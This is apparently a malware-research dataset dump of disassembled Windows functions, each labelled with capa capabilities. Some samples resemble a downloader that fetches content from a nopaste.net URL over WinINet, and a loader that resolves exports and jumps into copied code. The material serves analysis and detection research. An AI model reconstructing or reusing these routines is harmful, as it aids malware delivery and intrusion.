joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f930
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4431a9
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x458acc]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], 0
call fcn.0041b95c
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f97f
push 0x80004005
call fcn.00401240
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
mov esi, dword [esp + 0x20]
add eax, 0x10
mov dword [esi], eax
push 0
push esi
push 8
push 2
push 0x67
push edi
mov dword [esp + 0x30], 0
mov dword [esp + 0x24], 1
call fcn.00412a5b
add esp, 0x18
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret 4

Function at 0x40ff8a
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x458acc]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x410022
push 0x447ee4
push 4
push eax
call fcn.0042ec71
push eax
call fcn.004011b0
add esp, 0x10
push ebx
push edi
call fcn.0042ed7b
mov edi, dword [eax]
call fcn.0042ed7b
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.0042ed18
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.0042ed7b
cmp dword [eax], ebx
je 0x410039
call fcn.0042ed7b
push dword [eax]
call fcn.0040ff05
pop ecx
jmp 0x410040
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x40ffcd
jmp 0x4100c7
call fcn.0042ed7b
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
je 0x4100c3
cmp dword [ebp - 0x234], esi
jae 0x4100c3
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x270]
push ebx
push eax
mov dword [ebp - 0x274], 0x40
call fcn.0042d820
add esp, 0xc
push 0x447c44
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x4100b2
push str.FindActCtxSectionStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4100b2
lea ecx, [ebp - 0x274]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x4100b2
push ebx
push ebx
push esi
jmp 0x4100bb
push ebx
push ebx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x4100c5
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042d2f6
leave
ret
Function at 0x4134ca
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x4134ee
cmp dword [edi + 0x54], 0
jne 0x4134ee
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0041b6e7
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041348b
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x414109
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x414151
call fcn.0041b6e7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x414151
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x414194
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x41417d
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x41417d
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x414191
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41a221
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x41a268
call fcn.0041b6e7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41a268
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41a284
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00419d99
mov esi, eax
test edi, edi
je 0x41a282
test ebx, ebx
je 0x41a282
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x41a987
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x443736
call fcn.0042eb67
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x41a9ac
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41a9f2
lea ecx, [ebp - 0x10]
call fcn.00401af0
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00414bad
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401310
mov eax, esi
call fcn.0042ec3f
ret 8

Function at 0x422bd9
Capabilities:
Terminate process

Disassembly:
sub esp, 0x14
xor eax, eax
mov dword [esp + 0xc], 0
lea edx, [esp + 0xc]
call fcn.00422cf5
mov ebp, eax
mov ebx, 0x457a2c
xor edx, edx
mov eax, dword [ebx + 0x20]
call fcn.00422cf5
mov dword [esp + 0x10], eax
mov esi, dword [ebx + 0x2c]
mov edx, dword [esp + 0xc]
cmp dword [esi], 0
je 0x422c44
mov eax, edx
mov dword [esp + 8], edx
call fcn.00422d89
movzx eax, al
mov edx, dword [esp + 8]
cmp al, byte [esi]
je 0x422c2f
cmp al, byte [esi + 1]
jne 0x422ce5
mov eax, edx
call fcn.00422da1
cmp eax, dword [esi + 4]
je 0x422c44
cmp eax, dword [esi + 8]
jne 0x422ce5
mov eax, dword [ebx + 0x34]
xor esi, esi
mov dword [esp + 8], esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, eax
mov eax, dword [ebx + 0x18]
test eax, eax
jbe 0x422c73
mov eax, dword [ebx + 0x14]
mov ecx, dword [eax + esi]
mov dword [edx + esi], ecx
mov edi, dword [ebx + 0xc]
add esi, edi
mov eax, dword [ebx + 0x18]
cmp esi, eax
jb 0x422c5e
mov eax, dword [esp + 0x10]
call fcn.00422dc9
mov edi, eax
test edi, edi
je 0x422ce5
lea esi, [esp + 8]
push esi
mov esi, dword [ebx]
mov edx, dword [ebx + 0x30]
mov eax, dword [ebx + 0x18]
push eax
push edx
push esi
call edi
mov edx, dword [ebx + 0x38]
add ebp, edx
mov eax, dword [ebx + 0x30]
mov edx, dword [ebp + 4]
cmp eax, 8
jbe 0x422cbc
push 8
pop eax
mov ecx, dword [ebp + eax]
add ecx, edx
mov dword [esi + eax], ecx
mov ecx, dword [ebx + 0xc]
add eax, ecx
mov ecx, dword [ebx + 0x30]
cmp eax, ecx
jb 0x422ca7
mov edx, dword [ebx + 0x24]
lea eax, [esp + 8]
push eax
mov dword [esi + 8], edx
push dword [esp + 0xc]
mov ecx, dword [ebx + 0x30]
push ecx
push esi
call edi
mov edx, dword [esi + 0xc]
add edx, esi
mov eax, dword [ebx + 0x1c]
add edx, eax
mov ebx, dword [ebx + 0x1c]
add esi, ebx
push esi
call edx
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x422dc9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push edi
push ebx
push ebp
sub esp, 0x14
mov esi, eax
mov dword [esp + 8], edx
test esi, esi
je 0x422e13
mov ebp, dword [esi + 0x3c]
mov edx, dword [ebp + esi + 0x78]
push esp
xor eax, 0x24548978
adc byte [ebx - 0x74e7cdb4], cl
insb byte es:[edi], dx
xor ah, byte [eax]
add ebp, esi
mov dword [esp + 0xc], ecx
test ecx, ecx
jbe 0x422e13
xor ebx, ebx
mov eax, dword [ebp + ebx*4]
add eax, esi
mov edx, dword [esp + 8]
call fcn.00422e41
test al, al
jne 0x422e17
inc ebx
cmp ebx, dword [esp + 0xc]
jb 0x422df9
xor eax, eax
jmp 0x422e31
mov edx, dword [esp + 0x10]
mov ecx, dword [edx + esi + 0x24]
add ecx, esi
mov ebp, dword [edx + esi + 0x1c]
add ebp, esi
movzx ebx, word [ecx + ebx*2]
add esi, dword [ebp + ebx*4]
mov eax, esi
add esp, 0x14
pop ebp
pop ebx
pop edi
pop esi
ret

Function at 0x42d2f6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x458acc]
jne 0x42d300
repz ret
jmp fcn.00434d1c

Function at 0x42dc0b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x42dc3c
call fcn.0042ed8e
mov dword [eax], esi
call fcn.0042ed7b
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0043508a
add esp, 0x14
push 0x16
pop eax
jmp 0x42dc91
test dword [ebp + 0xc], 0xfffffff9
jne 0x42dc18
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x42dc69
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0042eda1
pop ecx
call fcn.0042ed7b
mov eax, dword [eax]
jmp 0x42dc91
test al, 0x10
jne 0x42dc8f
test al, 1
je 0x42dc8f
test byte [ebp + 0xc], 2
je 0x42dc8f
call fcn.0042ed8e
mov dword [eax], 5
call fcn.0042ed7b
mov dword [eax], 0xd
jmp 0x42dc60
xor eax, eax
pop esi
pop ebp
ret
Function at 0x43c312
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00433885
and dword [ebp - 4], 0
cmp dword [0x45c990], 0
mov ebx, eax
jne 0x43c3c3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43c474
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x43c474
push eax
call fcn.00433813
mov dword [esp], 0x44ba2c
push edi
mov dword [0x45c990], eax
call esi
push eax
call fcn.00433813
mov dword [esp], 0x44ba18
push edi
mov dword [0x45c994], eax
call esi
push eax
call fcn.00433813
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45c998], eax
call esi
push eax
call fcn.00433813
pop ecx
mov dword [0x45c9a0], eax
test eax, eax
je 0x43c3c3
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00433813
pop ecx
mov dword [0x45c99c], eax
mov eax, dword [0x45c99c]
cmp eax, ebx
je 0x43c41b
cmp dword [0x45c9a0], ebx
je 0x43c41b
push eax
call fcn.0043388e
push dword [0x45c9a0]
mov esi, eax
call fcn.0043388e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43c41b
test edi, edi
je 0x43c41b
call esi
test eax, eax
je 0x43c412
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43c412
test byte [ebp - 0xc], 1
jne 0x43c41b
or dword [ebp + 0x10], 0x200000
jmp 0x43c454
mov eax, dword [0x45c994]
cmp eax, ebx
je 0x43c454
push eax
call fcn.0043388e
pop ecx
test eax, eax
je 0x43c454
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43c454
mov eax, dword [0x45c998]
cmp eax, ebx
je 0x43c454
push eax
call fcn.0043388e
pop ecx
test eax, eax
je 0x43c454
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45c990]
call fcn.0043388e
pop ecx
test eax, eax
je 0x43c474
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43c476
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001a4d0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001a50f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001a50f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001a50f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001a50f
cmp dword [ecx + 0x74], 0xe
jbe 0x1001a50f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1001d1cd
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001d26a
push ebx
push esi
call fcn.1001d196
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001d12a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001d217
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d269
push edi
push eax
call fcn.1001b20d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001d237
call fcn.1001bc72
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d268
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001d12a
add esp, 0x20
test eax, eax
jne 0x1001d256
push edi
call fcn.1001bc72
jmp 0x1001d25e
push ebx
call fcn.1001bc72
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001d4d7
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024d10
push 0x10024d08
push str.FlsAlloc
push 0x1f
call fcn.1001d3f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d50b
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002314c]
call esi
jmp 0x1001d511
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001d555
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024d20
push 0x10024d18
push str.FlsGetValue
push 0x21
call fcn.1001d3f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d58c
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002314c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001d594
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024d28
push 0x10024d20
push str.FlsSetValue
push 0x22
call fcn.1001d3f3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d5ce
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1002314c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10022b70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10022b9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10022b9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427004]
jne 0x401010
repz ret
jmp fcn.004016df

Function at 0x406568
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004023d2
and dword [ebp - 4], 0
cmp dword [0x4290bc], 0
mov ebx, eax
jne 0x406619
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4066ca
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4066ca
push eax
call fcn.00402360
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4290bc], eax
call esi
push eax
call fcn.00402360
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4290c0], eax
call esi
push eax
call fcn.00402360
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4290c4], eax
call esi
push eax
call fcn.00402360
pop ecx
mov dword [0x4290cc], eax
test eax, eax
je 0x406619
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402360
pop ecx
mov dword [0x4290c8], eax
mov eax, dword [0x4290c8]
cmp eax, ebx
je 0x406671
cmp dword [0x4290cc], ebx
je 0x406671
push eax
call fcn.004023db
push dword [0x4290cc]
mov esi, eax
call fcn.004023db
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406671
test edi, edi
je 0x406671
call esi
test eax, eax
je 0x406668
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406668
test byte [ebp - 0xc], 1
jne 0x406671
or dword [ebp + 0x10], 0x200000
jmp 0x4066aa
mov eax, dword [0x4290c0]
cmp eax, ebx
je 0x4066aa
push eax
call fcn.004023db
pop ecx
test eax, eax
je 0x4066aa
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4066aa
mov eax, dword [0x4290c4]
cmp eax, ebx
je 0x4066aa
push eax
call fcn.004023db
pop ecx
test eax, eax
je 0x4066aa
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4290bc]
call fcn.004023db
pop ecx
test eax, eax
je 0x4066ca
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4066cc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x420d7e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp ebx, 0x19f
jne 0x420d92
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push edi
xor edi, edi
test ebx, ebx
jle 0x420db6
push esi
and dword [ebp - 4], 0
lea esi, [ebp - 4]
call fcn.00420d73
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 4]
add eax, edi
xor byte [eax], cl
inc edi
cmp edi, ebx
jl 0x420d9a
pop esi
pop edi
cmp ebx, 0x2d
jne 0x420dcd
or dword [0x437034], 0xffffffff
mov dword [0x437030], 0xa62e7790
leave
ret
Function at 0x401000
Capabilities:
Allocate thread local storage

Disassembly:
push 0x3c
push 0
push 0x408da0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x408da4], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x408da0], eax
call fcn.00405950
call fcn.00405836
call fcn.00405799
call fcn.0040502d
call fcn.00404fa4
call fcn.004046f1
call fcn.0040455b
call fcn.00403161
call fcn.00402a27
call fcn.00402790
call fcn.004025da
mov dword [0x408db0], 0xe8
push dword [0x408db0]
call fcn.004027c0
mov dword [0x408db4], eax
mov ebx, dword [0x408db0]
shl ebx, 2
push ebx
call fcn.004027c0
mov dword [0x408db8], eax
push dword [0x408fcc]
push str.http:__nopaste.net_vvMTJII4d9
call fcn.00401433
push 0x408dbc
call fcn.004059a0
push dword [0x408db8]
push dword [0x408dbc]
call fcn.004012df
push dword [0x408db0]
push dword [0x408db8]
push dword [0x408db4]
call fcn.0040167b
push 0xc80001
push str.Application
push 0x12c
push 0x190
push 0x64
push 0x64
push 0
call fcn.004034b1
and eax, eax
je 0x4011a4
push 1
push str.Welcome_to_srod_Application_
push 0x1e
push 0x168
push 0x14
push 0x14
push 1
call fcn.00402b16
push str.Run_Test
push 0x1e
push 0x64
push 0x64
push 0x96
push 2
call fcn.00402d04
call fcn.0040364b
mov dword [0x408dc0], eax
mov ebx, dword [0x408dc0]
cmp ebx, 0x332c
jne 0x401199
call fcn.00403653
push eax
mov ebx, 2
cmp ebx, dword [esp]
jne 0x401198
push str.Test_completed_successfully_
push str.Test
call fcn.00402640
pop eax
mov ebx, dword [0x408dc0]
cmp ebx, 0x10
jne 0x401161
mov eax, dword [0x408db4]
mov dword [0x408dc4], eax
mov edx, str.USER32
lea ecx, [0x408dc8]
call fcn.00402008
mov edx, 0x40804e
lea ecx, [0x408dcc]
call fcn.00402008
mov dword [0x408dd0], 4
push 0x408dd4
push 0
push 5
push 4
push 4
call fcn.004057a5
mov ebp, dword [0x408dd4]
mov dword [ebp], 0
mov eax, str.what_do_u_want
push eax
pop dword [ebp + 4]
mov eax, str.Test
push eax
pop dword [ebp + 8]
mov dword [ebp + 0xc], 3
push 0x408dd4
push dword [0x408dd0]
push dword [0x408dcc]
push dword [0x408dc8]
call fcn.0040126c
push 0
call 0x401252
push dword [0x408da0]
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess
call fcn.004027b0
call fcn.00402a97
call fcn.004030c1
call fcn.0040477f
call fcn.00404f76
ret
Function at 0x401433
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov edx, 0xb
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x401439
mov eax, dword [esp + 0x38]
mov dword [0x408fcc], eax
mov edx, dword [esp + 0x34]
lea ecx, [esp]
call fcn.00402000
push 0
push 0
push 0
push 0
push str.Firefox
call sub.WININET.DLL_InternetOpenA
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x40162b
mov eax, dword [0x408fcc]
push eax
push eax
push 0x408033
push 3
push dword [esp + 0x10]
call fcn.00402540
lea eax, [esp + 0x28]
push eax
call fcn.004059a0
push dword [0x408fcc]
mov edx, 0x408033
call fcn.00405a50
mov eax, dword [0x408fcc]
push eax
push eax
push 0x408033
push 4
push dword [esp + 0x14]
call fcn.00402540
pop eax
lea eax, [esp + 0x2c]
push eax
call fcn.004059a0
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [esp + 0x3c]
push dword [esp + 0x20]
call sub.WININET.DLL_InternetConnectA
mov dword [esp + 8], eax
cmp dword [esp + 8], 0
je 0x401622
push 0
push 0x84000000
push 0
push 0
push 0
push dword [esp + 0x3c]
push 0x408035
push dword [esp + 0x24]
call sub.WININET.DLL_HttpOpenRequestA
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x401619
push 0
push 0
push 0
push 0
push dword [esp + 0x1c]
call sub.WININET.DLL_HttpSendRequestA
and eax, eax
je 0x401610
mov dword [esp + 0x1c], 0x400
push dword [esp + 0x1c]
call fcn.004027c0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
add ebx, dword [esp + 0x1c]
push ebx
push dword [esp + 0x18]
call sub.WININET.DLL_InternetReadFile
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x18]
mov dword [esp + 0x14], ebx
mov ebx, dword [esp + 0x18]
and ebx, ebx
jle 0x4015dc
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x1c]
push ebx
push dword [esp + 0x14]
call fcn.00402810
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x18]
and ebx, ebx
jne 0x401597
mov eax, dword [0x408fcc]
push eax
push eax
push 8
push dword [esp + 0x20]
push dword [esp + 0x20]
call fcn.00402840
lea eax, [esp + 0x24]
push eax
call fcn.004059a0
push dword [esp + 0x10]
call fcn.004029c0
push dword [esp + 0xc]
call sub.WININET.DLL_InternetCloseHandle
push dword [esp + 8]
call sub.WININET.DLL_InternetCloseHandle
push dword [esp + 4]
call sub.WININET.DLL_InternetCloseHandle
mov edx, dword [esp + 0x20]
push dword [0x408fcc]
call fcn.00405a50
pop eax
add eax, dword [0x4080c0]
jmp 0x401651
push dword [esp]
call fcn.00405a20
push dword [esp + 0x20]
call fcn.00405a20
push dword [esp + 0x24]
call fcn.00405a20
push dword [esp + 0x28]
call fcn.00405a20
add esp, 0x2c
pop ebx
ret 4
Function at 0x4026e3
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
xor ebp, ebp
cmp dword [esp + 8], ebp
je 0x4026fd
push dword [esp + 8]
push 0x402652
call dword [sym.imp.USER32.DLL_EnumWindows]
jmp 0x402750
push esi
mov esi, dword [0x408ddc]
cmp esi, ebp
je 0x40274f
push ebx
push edi
mov ebx, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x402747
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
cmp dword [esi + 0x10], ebp
je 0x40273a
push 3
push ebp
push ebp
push ebp
push ebp
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
push edi
push 0x408ddc
call fcn.00405759
pop ecx
pop ecx
cmp ebx, ebp
mov esi, ebx
jne 0x40270a
pop edi
pop ebx
pop esi
pop ebp
ret 4